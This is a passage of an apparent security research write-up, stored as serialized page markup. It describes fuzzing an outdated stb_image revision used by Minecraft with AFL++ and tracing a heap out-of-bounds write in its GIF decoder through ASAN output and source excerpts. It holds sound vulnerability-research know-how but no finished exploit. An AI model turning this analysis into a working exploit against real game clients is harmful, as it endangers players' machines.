0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":154164,"children":154165},{},[154166,154168,154173,154175,154182],{"type":29,"value":154167},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":135,"props":154169,"children":154171},{"className":154170},[],[154172],{"type":29,"value":154115},{"type":29,"value":154174}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":32,"props":154176,"children":154179},{"href":154177,"rel":154178},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[36],[154180],{"type":29,"value":154181},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":41},{"type":24,"tag":25,"props":154184,"children":154185},{},[154186],{"type":29,"value":154187},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":26585,"props":154189,"children":154191},{"id":154190},"fuzzing",[154192],{"type":29,"value":154193},"Fuzzing",{"type":24,"tag":25,"props":154195,"children":154196},{},[154197,154199,154206],{"type":29,"value":154198},"The fuzzer consisted of a very simple ",{"type":24,"tag":32,"props":154200,"children":154203},{"href":154201,"rel":154202},"https://github.com/AFLplusplus/AFLplusplus",[36],[154204],{"type":29,"value":154205},"AFL++",{"type":29,"value":34417},{"type":24,"tag":261,"props":154208,"children":154210},{"code":154209,"language":578,"meta":7,"className":576,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[154211],{"type":24,"tag":135,"props":154212,"children":154213},{"__ignoreMap":7},[154214,154227,154239,154246,154292,154304,154325,154332,154356,154371,154378,154385,154457,154481,154496,154503,154510,154523,154530,154545],{"type":24,"tag":271,"props":154215,"children":154216},{"class":273,"line":274},[154217,154222],{"type":24,"tag":271,"props":154218,"children":154219},{"style":749},[154220],{"type":29,"value":154221},"#define",{"type":24,"tag":271,"props":154223,"children":154224},{"style":598},[154225],{"type":29,"value":154226}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":271,"props":154228,"children":154229},{"class":273,"line":284},[154230,154234],{"type":24,"tag":271,"props":154231,"children":154232},{"style":749},[154233],{"type":29,"value":97205},{"type":24,"tag":271,"props":154235,"children":154236},{"style":378},[154237],{"type":29,"value":154238}," \"./stb/stb_image.h\"\n",{"type":24,"tag":271,"props":154240,"children":154241},{"class":273,"line":294},[154242],{"type":24,"tag":271,"props":154243,"children":154244},{"emptyLinePlaceholder":16},[154245],{"type":29,"value":327},{"type":24,"tag":271,"props":154247,"children":154248},{"class":273,"line":303},[154249,154253,154257,154261,154265,154270,154274,154279,154283,154288],{"type":24,"tag":271,"props":154250,"children":154251},{"style":278},[154252],{"type":29,"value":3923},{"type":24,"tag":271,"props":154254,"children":154255},{"style":598},[154256],{"type":29,"value":97570},{"type":24,"tag":271,"props":154258,"children":154259},{"style":288},[154260],{"type":29,"value":606},{"type":24,"tag":271,"props":154262,"children":154263},{"style":278},[154264],{"type":29,"value":3923},{"type":24,"tag":271,"props":154266,"children":154267},{"style":630},[154268],{"type":29,"value":154269}," argc",{"type":24,"tag":271,"props":154271,"children":154272},{"style":288},[154273],{"type":29,"value":158},{"type":24,"tag":271,"props":154275,"children":154276},{"style":278},[154277],{"type":29,"value":154278},"char",{"type":24,"tag":271,"props":154280,"children":154281},{"style":624},[154282],{"type":29,"value":96671},{"type":24,"tag":271,"props":154284,"children":154285},{"style":630},[154286],{"type":29,"value":154287},"argv",{"type":24,"tag":271,"props":154289,"children":154290},{"style":288},[154291],{"type":29,"value":919},{"type":24,"tag":271,"props":154293,"children":154294},{"class":273,"line":312},[154295,154299],{"type":24,"tag":271,"props":154296,"children":154297},{"style":278},[154298],{"type":29,"value":6300},{"type":24,"tag":271,"props":154300,"children":154301},{"style":288},[154302],{"type":29,"value":154303}," x, y, comp;\n",{"type":24,"tag":271,"props":154305,"children":154306},{"class":273,"line":321},[154307,154312,154316,154320],{"type":24,"tag":271,"props":154308,"children":154309},{"style":278},[154310],{"type":29,"value":154311}," unsigned",{"type":24,"tag":271,"props":154313,"children":154314},{"style":278},[154315],{"type":29,"value":8720},{"type":24,"tag":271,"props":154317,"children":154318},{"style":624},[154319],{"type":29,"value":3895},{"type":24,"tag":271,"props":154321,"children":154322},{"style":288},[154323],{"type":29,"value":154324},"ret;\n",{"type":24,"tag":271,"props":154326,"children":154327},{"class":273,"line":330},[154328],{"type":24,"tag":271,"props":154329,"children":154330},{"emptyLinePlaceholder":16},[154331],{"type":29,"value":327},{"type":24,"tag":271,"props":154333,"children":154334},{"class":273,"line":339},[154335,154339,154344,154348,154352],{"type":24,"tag":271,"props":154336,"children":154337},{"style":749},[154338],{"type":29,"value":5025},{"type":24,"tag":271,"props":154340,"children":154341},{"style":288},[154342],{"type":29,"value":154343}," (argc ",{"type":24,"tag":271,"props":154345,"children":154346},{"style":624},[154347],{"type":29,"value":23386},{"type":24,"tag":271,"props":154349,"children":154350},{"style":477},[154351],{"type":29,"value":4183},{"type":24,"tag":271,"props":154353,"children":154354},{"style":288},[154355],{"type":29,"value":919},{"type":24,"tag":271,"props":154357,"children":154358},{"class":273,"line":347},[154359,154363,154367],{"type":24,"tag":271,"props":154360,"children":154361},{"style":749},[154362],{"type":29,"value":8905},{"type":24,"tag":271,"props":154364,"children":154365},{"style":477},[154366],{"type":29,"value":824},{"type":24,"tag":271,"props":154368,"children":154369},{"style":288},[154370],{"type":29,"value":1069},{"type":24,"tag":271,"props":154372,"children":154373},{"class":273,"line":356},[154374],{"type":24,"tag":271,"props":154375,"children":154376},{"style":288},[154377],{"type":29,"value":4385},{"type":24,"tag":271,"props":154379,"children":154380},{"class":273,"line":365},[154381],{"type":24,"tag":271,"props":154382,"children":154383},{"emptyLinePlaceholder":16},[154384],{"type":29,"value":327},{"type":24,"tag":271,"props":154386,"children":154387},{"class":273,"line":374},[154388,154393,154397,154402,154406,154410,154414,154418,154422,154426,154431,154435,154440,154444,154449,154453],{"type":24,"tag":271,"props":154389,"children":154390},{"style":288},[154391],{"type":29,"value":154392}," ret ",{"type":24,"tag":271,"props":154394,"children":154395},{"style":624},[154396],{"type":29,"value":762},{"type":24,"tag":271,"props":154398,"children":154399},{"style":598},[154400],{"type":29,"value":154401}," stbi_load",{"type":24,"tag":271,"props":154403,"children":154404},{"style":288},[154405],{"type":29,"value":606},{"type":24,"tag":271,"props":154407,"children":154408},{"style":630},[154409],{"type":29,"value":154287},{"type":24,"tag":271,"props":154411,"children":154412},{"style":288},[154413],{"type":29,"value":4520},{"type":24,"tag":271,"props":154415,"children":154416},{"style":477},[154417],{"type":29,"value":156},{"type":24,"tag":271,"props":154419,"children":154420},{"style":288},[154421],{"type":29,"value":8505},{"type":24,"tag":271,"props":154423,"children":154424},{"style":624},[154425],{"type":29,"value":1137},{"type":24,"tag":271,"props":154427,"children":154428},{"style":288},[154429],{"type":29,"value":154430},"x, ",{"type":24,"tag":271,"props":154432,"children":154433},{"style":624},[154434],{"type":29,"value":1137},{"type":24,"tag":271,"props":154436,"children":154437},{"style":288},[154438],{"type":29,"value":154439},"y, ",{"type":24,"tag":271,"props":154441,"children":154442},{"style":624},[154443],{"type":29,"value":1137},{"type":24,"tag":271,"props":154445,"children":154446},{"style":288},[154447],{"type":29,"value":154448},"comp, ",{"type":24,"tag":271,"props":154450,"children":154451},{"style":477},[154452],{"type":29,"value":4121},{"type":24,"tag":271,"props":154454,"children":154455},{"style":288},[154456],{"type":29,"value":1155},{"type":24,"tag":271,"props":154458,"children":154459},{"class":273,"line":384},[154460,154464,154469,154473,154477],{"type":24,"tag":271,"props":154461,"children":154462},{"style":749},[154463],{"type":29,"value":5025},{"type":24,"tag":271,"props":154465,"children":154466},{"style":288},[154467],{"type":29,"value":154468}," (ret ",{"type":24,"tag":271,"props":154470,"children":154471},{"style":624},[154472],{"type":29,"value":5059},{"type":24,"tag":271,"props":154474,"children":154475},{"style":278},[154476],{"type":29,"value":134560},{"type":24,"tag":271,"props":154478,"children":154479},{"style":288},[154480],{"type":29,"value":919},{"type":24,"tag":271,"props":154482,"children":154483},{"class":273,"line":393},[154484,154488,154492],{"type":24,"tag":271,"props":154485,"children":154486},{"style":749},[154487],{"type":29,"value":8905},{"type":24,"tag":271,"props":154489,"children":154490},{"style":477},[154491],{"type":29,"value":824},{"type":24,"tag":271,"props":154493,"children":154494},{"style":288},[154495],{"type":29,"value":1069},{"type":24,"tag":271,"props":154497,"children":154498},{"class":273,"line":402},[154499],{"type":24,"tag":271,"props":154500,"children":154501},{"style":288},[154502],{"type":29,"value":4385},{"type":24,"tag":271,"props":154504,"children":154505},{"class":273,"line":411},[154506],{"type":24,"tag":271,"props":154507,"children":154508},{"style":288},[154509],{"type":29,"value":68572},{"type":24,"tag":271,"props":154511,"children":154512},{"class":273,"line":420},[154513,154518],{"type":24,"tag":271,"props":154514,"children":154515},{"style":598},[154516],{"type":29,"value":154517}," stbi_image_free",{"type":24,"tag":271,"props":154519,"children":154520},{"style":288},[154521],{"type":29,"value":154522},"(ret);\n",{"type":24,"tag":271,"props":154524,"children":154525},{"class":273,"line":429},[154526],{"type":24,"tag":271,"props":154527,"children":154528},{"emptyLinePlaceholder":16},[154529],{"type":29,"value":327},{"type":24,"tag":271,"props":154531,"children":154532},{"class":273,"line":438},[154533,154537,154541],{"type":24,"tag":271,"props":154534,"children":154535},{"style":749},[154536],{"type":29,"value":9640},{"type":24,"tag":271,"props":154538,"children":154539},{"style":477},[154540],{"type":29,"value":767},{"type":24,"tag":271,"props":154542,"children":154543},{"style":288},[154544],{"type":29,"value":1069},{"type":24,"tag":271,"props":154546,"children":154547},{"class":273,"line":447},[154548],{"type":24,"tag":271,"props":154549,"children":154550},{"style":288},[154551],{"type":29,"value":1171},{"type":24,"tag":25,"props":154553,"children":154554},{},[154555],{"type":29,"value":154556},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":261,"props":154558,"children":154560},{"code":154559},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[154561],{"type":24,"tag":135,"props":154562,"children":154563},{"__ignoreMap":7},[154564],{"type":29,"value":154559},{"type":24,"tag":26585,"props":154566,"children":154568},{"id":154567},"investigating-the-finding",[154569],{"type":29,"value":154570},"Investigating the Finding",{"type":24,"tag":25,"props":154572,"children":154573},{},[154574,154576,154582,154583,154588],{"type":29,"value":154575},"The ASAN output shows that at line ",{"type":24,"tag":135,"props":154577,"children":154579},{"className":154578},[],[154580],{"type":29,"value":154581},"6233",{"type":29,"value":150082},{"type":24,"tag":135,"props":154584,"children":154586},{"className":154585},[],[154587],{"type":29,"value":154115},{"type":29,"value":154589}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":261,"props":154591,"children":154593},{"code":154592,"language":578,"meta":7,"className":576,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[154594],{"type":24,"tag":135,"props":154595,"children":154596},{"__ignoreMap":7},[154597,154639,154646,154672,154685,154692,154700,154707,154761,154768,154814,154847],{"type":24,"tag":271,"props":154598,"children":154599},{"class":273,"line":274},[154600,154604,154608,154613,154618,154622,154626,154631,154635],{"type":24,"tag":271,"props":154601,"children":154602},{"style":278},[154603],{"type":29,"value":590},{"type":24,"tag":271,"props":154605,"children":154606},{"style":278},[154607],{"type":29,"value":595},{"type":24,"tag":271,"props":154609,"children":154610},{"style":598},[154611],{"type":29,"value":154612}," stbi__out_gif_code",{"type":24,"tag":271,"props":154614,"children":154615},{"style":288},[154616],{"type":29,"value":154617},"(stbi__gif ",{"type":24,"tag":271,"props":154619,"children":154620},{"style":624},[154621],{"type":29,"value":627},{"type":24,"tag":271,"props":154623,"children":154624},{"style":630},[154625],{"type":29,"value":116088},{"type":24,"tag":271,"props":154627,"children":154628},{"style":288},[154629],{"type":29,"value":154630},", stbi__uint16 ",{"type":24,"tag":271,"props":154632,"children":154633},{"style":630},[154634],{"type":29,"value":135},{"type":24,"tag":271,"props":154636,"children":154637},{"style":288},[154638],{"type":29,"value":694},{"type":24,"tag":271,"props":154640,"children":154641},{"class":273,"line":284},[154642],{"type":24,"tag":271,"props":154643,"children":154644},{"style":288},[154645],{"type":29,"value":702},{"type":24,"tag":271,"props":154647,"children":154648},{"class":273,"line":294},[154649,154654,154658,154663,154667],{"type":24,"tag":271,"props":154650,"children":154651},{"style":288},[154652],{"type":29,"value":154653}," stbi_uc ",{"type":24,"tag":271,"props":154655,"children":154656},{"style":624},[154657],{"type":29,"value":627},{"type":24,"tag":271,"props":154659,"children":154660},{"style":288},[154661],{"type":29,"value":154662},"p, ",{"type":24,"tag":271,"props":154664,"children":154665},{"style":624},[154666],{"type":29,"value":627},{"type":24,"tag":271,"props":154668,"children":154669},{"style":288},[154670],{"type":29,"value":154671},"c;\n",{"type":24,"tag":271,"props":154673,"children":154674},{"class":273,"line":303},[154675,154680],{"type":24,"tag":271,"props":154676,"children":154677},{"style":278},[154678],{"type":29,"value":154679}," int",{"type":24,"tag":271,"props":154681,"children":154682},{"style":288},[154683],{"type":29,"value":154684}," idx; \n",{"type":24,"tag":271,"props":154686,"children":154687},{"class":273,"line":312},[154688],{"type":24,"tag":271,"props":154689,"children":154690},{"emptyLinePlaceholder":16},[154691],{"type":29,"value":327},{"type":24,"tag":271,"props":154693,"children":154694},{"class":273,"line":321},[154695],{"type":24,"tag":271,"props":154696,"children":154697},{"style":288},[154698],{"type":29,"value":154699}," [...]\n",{"type":24,"tag":271,"props":154701,"children":154702},{"class":273,"line":330},[154703],{"type":24,"tag":271,"props":154704,"children":154705},{"emptyLinePlaceholder":16},[154706],{"type":29,"value":327},{"type":24,"tag":271,"props":154708,"children":154709},{"class":273,"line":339},[154710,154714,154718,154722,154726,154731,154735,154740,154744,154749,154753,154757],{"type":24,"tag":271,"props":154711,"children":154712},{"style":749},[154713],{"type":29,"value":2235},{"type":24,"tag":271,"props":154715,"children":154716},{"style":288},[154717],{"type":29,"value":1357},{"type":24,"tag":271,"props":154719,"children":154720},{"style":630},[154721],{"type":29,"value":116088},{"type":24,"tag":271,"props":154723,"children":154724},{"style":288},[154725],{"type":29,"value":786},{"type":24,"tag":271,"props":154727,"children":154728},{"style":630},[154729],{"type":29,"value":154730},"cur_y",{"type":24,"tag":271,"props":154732,"children":154733},{"style":624},[154734],{"type":29,"value":16017},{"type":24,"tag":271,"props":154736,"children":154737},{"style":630},[154738],{"type":29,"value":154739}," g",{"type":24,"tag":271,"props":154741,"children":154742},{"style":288},[154743],{"type":29,"value":786},{"type":24,"tag":271,"props":154745,"children":154746},{"style":630},[154747],{"type":29,"value":154748},"max_y",{"type":24,"tag":271,"props":154750,"children":154751},{"style":288},[154752],{"type":29,"value":8823},{"type":24,"tag":271,"props":154754,"children":154755},{"style":749},[154756],{"type":29,"value":56122},{"type":24,"tag":271,"props":154758,"children":154759},{"style":288},[154760],{"type":29,"value":1069},{"type":24,"tag":271,"props":154762,"children":154763},{"class":273,"line":347},[154764],{"type":24,"tag":271,"props":154765,"children":154766},{"emptyLinePlaceholder":16},[154767],{"type":29,"value":327},{"type":24,"tag":271,"props":154769,"children":154770},{"class":273,"line":356},[154771,154776,154780,154784,154788,154793,154797,154801,154805,154809],{"type":24,"tag":271,"props":154772,"children":154773},{"style":288},[154774],{"type":29,"value":154775}," idx ",{"type":24,"tag":271,"props":154777,"children":154778},{"style":624},[154779],{"type":29,"value":762},{"type":24,"tag":271,"props":154781,"children":154782},{"style":630},[154783],{"type":29,"value":154739},{"type":24,"tag":271,"props":154785,"children":154786},{"style":288},[154787],{"type":29,"value":786},{"type":24,"tag":271,"props":154789,"children":154790},{"style":630},[154791],{"type":29,"value":154792},"cur_x",{"type":24,"tag":271,"props":154794,"children":154795},{"style":624},[154796],{"type":29,"value":4253},{"type":24,"tag":271,"props":154798,"children":154799},{"style":630},[154800],{"type":29,"value":154739},{"type":24,"tag":271,"props":154802,"children":154803},{"style":288},[154804],{"type":29,"value":786},{"type":24,"tag":271,"props":154806,"children":154807},{"style":630},[154808],{"type":29,"value":154730},{"type":24,"tag":271,"props":154810,"children":154811},{"style":288},[154812],{"type":29,"value":154813},"; \n",{"type":24,"tag":271,"props":154815,"children":154816},{"class":273,"line":365},[154817,154822,154826,154830,154834,154838,154842],{"type":24,"tag":271,"props":154818,"children":154819},{"style":288},[154820],{"type":29,"value":154821}," p ",{"type":24,"tag":271,"props":154823,"children":154824},{"style":624},[154825],{"type":29,"value":762},{"type":24,"tag":271,"props":154827,"children":154828},{"style":624},[154829],{"type":29,"value":14858},{"type":24,"tag":271,"props":154831,"children":154832},{"style":630},[154833],{"type":29,"value":116088},{"type":24,"tag":271,"props":154835,"children":154836},{"style":288},[154837],{"type":29,"value":786},{"type":24,"tag":271,"props":154839,"children":154840},{"style":630},[154841],{"type":29,"value":125511},{"type":24,"tag":271,"props":154843,"children":154844},{"style":288},[154845],{"type":29,"value":154846},"[idx];\n",{"type":24,"tag":271,"props":154848,"children":154849},{"class":273,"line":374},[154850,154855,154859,154864,154869,154873,154877,154881,154885,154889,154893],{"type":24,"tag":271,"props":154851,"children":154852},{"style":630},[154853],{"type":29,"value":154854}," g",{"type":24,"tag":271,"props":154856,"children":154857},{"style":288},[154858],{"type":29,"value":786},{"type":24,"tag":271,"props":154860,"children":154861},{"style":630},[154862],{"type":29,"value":154863},"history",{"type":24,"tag":271,"props":154865,"children":154866},{"style":288},[154867],{"type":29,"value":154868},"[idx ",{"type":24,"tag":271,"props":154870,"children":154871},{"style":624},[154872],{"type":29,"value":12298},{"type":24,"tag":271,"props":154874,"children":154875},{"style":477},[154876],{"type":29,"value":19448},{"type":24,"tag":271,"props":154878,"children":154879},{"style":288},[154880],{"type":29,"value":4530},{"type":24,"tag":271,"props":154882,"children":154883},{"style":624},[154884],{"type":29,"value":762},{"type":24,"tag":271,"props":154886,"children":154887},{"style":477},[154888],{"type":29,"value":824},{"type":24,"tag":271,"props":154890,"children":154891},{"style":288},[154892],{"type":29,"value":2092},{"type":24,"tag":271,"props":154894,"children":154895},{"style":2058},[154896],{"type":29,"value":154897}," // OOB write\n",{"type":24,"tag":25,"props":154899,"children":154900},{},[154901,154903,154908,154910,154916,154918,154924],{"type":29,"value":154902},"It’s reasonable to assume ",{"type":24,"tag":135,"props":154904,"children":154906},{"className":154905},[],[154907],{"type":29,"value":83307},{"type":29,"value":154909}," is outside the bounds of ",{"type":24,"tag":135,"props":154911,"children":154913},{"className":154912},[],[154914],{"type":29,"value":154915},"g->history",{"type":29,"value":154917},", which leads to a one-byte OOB write (",{"type":24,"tag":135,"props":154919,"children":154921},{"className":154920},[],[154922],{"type":29,"value":154923},"g->history[idx / 4] = 1",{"type":29,"value":154925},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":24,"tag":25,"props":154927,"children":154928},{},[154929,154931,154936,154938,154944,154946,154951,154953,154959,154961,154967],{"type":29,"value":154930},"Because ",{"type":24,"tag":135,"props":154932,"children":154934},{"className":154933},[],[154935],{"type":29,"value":25},{"type":29,"value":154937}," is computed from ",{"type":24,"tag":135,"props":154939,"children":154941},{"className":154940},[],[154942],{"type":29,"value":154943},"g->out[idx]",{"type":29,"value":154945}," immediately before the violation, we considered whether ",{"type":24,"tag":135,"props":154947,"children":154949},{"className":154948},[],[154950],{"type":29,"value":83307},{"type":29,"value":154952}," could also be OOB for ",{"type":24,"tag":135,"props":154954,"children":154956},{"className":154955},[],[154957],{"type":29,"value":154958},"g->out",{"type":29,"value":154960},". Note that computing the address ",{"type":24,"tag":135,"props":154962,"children":154964},{"className":154963},[],[154965],{"type":29,"value":154966},"&g->out[idx]",{"type":29,"value":154968}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":24,"tag":25,"props":154970,"children":154971},{},[154972,154974,154979],{"type":29,"value":154973},"If we comment out ",{"type":24,"tag":135,"props":154975,"children":154977},{"className":154976},[],[154978],{"type":29,"value":154923},{"type":29,"value":154980}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":24,"tag":261,"props":154982,"children":154984},{"code":154983},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[154985],{"type":24,"tag":135,"props":154986,"children":154987},{"__ignoreMap":7},[154988],{"type":29,"value":154983},{"type":24,"tag":25,"props":154990,"children":154991},{},[154992],{"type":29,"value":154993},"This corresponds to:",{"type":24,"tag":261,"props":154995,"children":154997},{"code":154996,"language":578,"meta":7,"className":576,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[154998],{"type":24,"tag":135,"props":154999,"children":155000},{"__ignoreMap":7},[155001,155040,155047,155054,155061,155104,155135,155179,155186,155254,155294,155339,155378,155417,155456],{"type":24,"tag":271,"props":155002,"children":155003},{"class":273,"line":274},[155004,155008,155012,155016,155020,155024,155028,155032,155036],{"type":24,"tag":271,"props":155005,"children":155006},{"style":278},[155007],{"type":29,"value":590},{"type":24,"tag":271,"props":155009,"children":155010},{"style":278},[155011],{"type":29,"value":595},{"type":24,"tag":271,"props":155013,"children":155014},{"style":598},[155015],{"type":29,"value":154612},{"type":24,"tag":271,"props":155017,"children":155018},{"style":288},[155019],{"type":29,"value":154617},{"type":24,"tag":271,"props":155021,"children":155022},{"style":624},[155023],{"type":29,"value":627},{"type":24,"tag":271,"props":155025,"children":155026},{"style":630},[155027],{"type":29,"value":116088},{"type":24,"tag":271,"props":155029,"children":155030},{"style":288},[155031],{"type":29,"value":154630},{"type":24,"tag":271,"props":155033,"children":155034},{"style":630},[155035],{"type":29,"value":135},{"type":24,"tag":271,"props":155037,"children":155038},{"style":288},[155039],{"type":29,"value":694},{"type":24,"tag":271,"props":155041,"children":155042},{"class":273,"line":284},[155043],{"type":24,"tag":271,"props":155044,"children":155045},{"style":288},[155046],{"type":29,"value":702},{"type":24,"tag":271,"props":155048,"children":155049},{"class":273,"line":294},[155050],{"type":24,"tag":271,"props":155051,"children":155052},{"style":288},[155053],{"type":29,"value":154699},{"type":24,"tag":271,"props":155055,"children":155056},{"class":273,"line":303},[155057],{"type":24,"tag":271,"props":155058,"children":155059},{"emptyLinePlaceholder":16},[155060],{"type":29,"value":327},{"type":24,"tag":271,"props":155062,"children":155063},{"class":273,"line":312},[155064,155068,155072,155076,155080,155084,155088,155092,155096,155100],{"type":24,"tag":271,"props":155065,"children":155066},{"style":288},[155067],{"type":29,"value":154775},{"type":24,"tag":271,"props":155069,"children":155070},{"style":624},[155071],{"type":29,"value":762},{"type":24,"tag":271,"props":155073,"children":155074},{"style":630},[155075],{"type":29,"value":154739},{"type":24,"tag":271,"props":155077,"children":155078},{"style":288},[155079],{"type":29,"value":786},{"type":24,"tag":271,"props":155081,"children":155082},{"style":630},[155083],{"type":29,"value":154792},{"type":24,"tag":271,"props":155085,"children":155086},{"style":624},[155087],{"type":29,"value":4253},{"type":24,"tag":271,"props":155089,"children":155090},{"style":630},[155091],{"type":29,"value":154739},{"type":24,"tag":271,"props":155093,"children":155094},{"style":288},[155095],{"type":29,"value":786},{"type":24,"tag":271,"props":155097,"children":155098},{"style":630},[155099],{"type":29,"value":154730},{"type":24,"tag":271,"props":155101,"children":155102},{"style":288},[155103],{"type":29,"value":154813},{"type":24,"tag":271,"props":155105,"children":155106},{"class":273,"line":321},[155107,155111,155115,155119,155123,155127,155131],{"type":24,"tag":271,"props":155108,"children":155109},{"style":288},[155110],{"type":29,"value":154821},{"type":24,"tag":271,"props":155112,"children":155113},{"style":624},[155114],{"type":29,"value":762},{"type":24,"tag":271,"props":155116,"children":155117},{"style":624},[155118],{"type":29,"value":14858},{"type":24,"tag":271,"props":155120,"children":155121},{"style":630},[155122],{"type":29,"value":116088},{"type":24,"tag":271,"props":155124,"children":155125},{"style":288},[155126],{"type":29,"value":786},{"type":24,"tag":271,"props":155128,"children":155129},{"style":630},[155130],{"type":29,"value":125511},{"type":24,"tag":271,"props":155132,"children":155133},{"style":288},[155134],{"type":29,"value":154846},{"type":24,"tag":271,"props":155136,"children":155137},{"class":273,"line":330},[155138,155142,155146,155150,155154,155158,155162,155166,155170,155174],{"type":24,"tag":271,"props":155139,"children":155140},{"style":630},[155141],{"type":29,"value":154854},{"type":24,"tag":271,"props":155143,"children":155144},{"style":288},[155145],{"type":29,"value":786},{"type":24,"tag":271,"props":155147,"children":155148},{"style":630},[155149],{"type":29,"value":154863},{"type":24,"tag":271,"props":155151,"children":155152},{"style":288},[155153],{"type":29,"value":154868},{"type":24,"tag":271,"props":155155,"children":155156},{"style":624},[155157],{"type":29,"value":12298},{"type":24,"tag":271,"props":155159,"children":155160},{"style":477},[155161],{"type":29,"value":19448},{"type":24,"tag":271,"props":155163,"children":155164},{"style":288},[155165],{"type":29,"value":4530},{"type":24,"tag":271,"props":155167,"children":155168},{"style":624},[155169],{"type":29,"value":762},{"type":24,"tag":271,"props":155171,"children":155172},{"style":477},[155173],{"type":29,"value":824},{"type":24,"tag":271,"props":155175,"children":155176},{"style":288},[155177],{"type":29,"value":155178},"; \n",{"type":24,"tag":271,"props":155180,"children":155181},{"class":273,"line":339},[155182],{"type":24,"tag":271,"props":155183,"children":155184},{"emptyLinePlaceholder":16},[155185],{"type":29,"value":327},{"type":24,"tag":271,"props":155187,"children":155188},{"class":273,"line":347},[155189,155194,155198,155202,155206,155210,155215,155219,155223,155227,155232,155237,155242,155246,155250],{"type":24,"tag":271,"props":155190,"children":155191},{"style":288},[155192],{"type":29,"value":155193}," c ",{"type":24,"tag":271,"props":155195,"children":155196},{"style":624},[155197],{"type":29,"value":762},{"type":24,"tag":271,"props":155199,"children":155200},{"style":624},[155201],{"type":29,"value":14858},{"type":24,"tag":271,"props":155203,"children":155204},{"style":630},[155205],{"type":29,"value":116088},{"type":24,"tag":271,"props":155207,"children":155208},{"style":288},[155209],{"type":29,"value":786},{"type":24,"tag":271,"props":155211,"children":155212},{"style":630},[155213],{"type":29,"value":155214},"color_table",{"type":24,"tag":271,"props":155216,"children":155217},{"style":288},[155218],{"type":29,"value":4520},{"type":24,"tag":271,"props":155220,"children":155221},{"style":630},[155222],{"type":29,"value":116088},{"type":24,"tag":271,"props":155224,"children":155225},{"style":288},[155226],{"type":29,"value":786},{"type":24,"tag":271,"props":155228,"children":155229},{"style":630},[155230],{"type":29,"value":155231},"codes",{"type":24,"tag":271,"props":155233,"children":155234},{"style":288},[155235],{"type":29,"value":155236},"[code].",{"type":24,"tag":271,"props":155238,"children":155239},{"style":630},[155240],{"type":29,"value":155241},"suffix",{"type":24,"tag":271,"props":155243,"children":155244},{"style":624},[155245],{"type":29,"value":3895},{"type":24,"tag":271,"props":155247,"children":155248},{"style":477},[155249],{"type":29,"value":19448},{"type":24,"tag":271,"props":155251,"children":155252},{"style":288},[155253],{"type":29,"value":4865},{"type":24,"tag":271,"props":155255,"children":155256},{"class":273,"line":356},[155257,155261,155265,155269,155273,155277,155281,155285,155290],{"type":24,"tag":271,"props":155258,"children":155259},{"style":749},[155260],{"type":29,"value":2235},{"type":24,"tag":271,"props":155262,"children":155263},{"style":288},[155264],{"type":29,"value":1357},{"type":24,"tag":271,"props":155266,"children":155267},{"style":630},[155268],{"type":29,"value":578},{"type":24,"tag":271,"props":155270,"children":155271},{"style":288},[155272],{"type":29,"value":4520},{"type":24,"tag":271,"props":155274,"children":155275},{"style":477},[155276],{"type":29,"value":4525},{"type":24,"tag":271,"props":155278,"children":155279},{"style":288},[155280],{"type":29,"value":4530},{"type":24,"tag":271,"props":155282,"children":155283},{"style":624},[155284],{"type":29,"value":18165},{"type":24,"tag":271,"props":155286,"children":155287},{"style":477},[155288],{"type":29,"value":155289}," 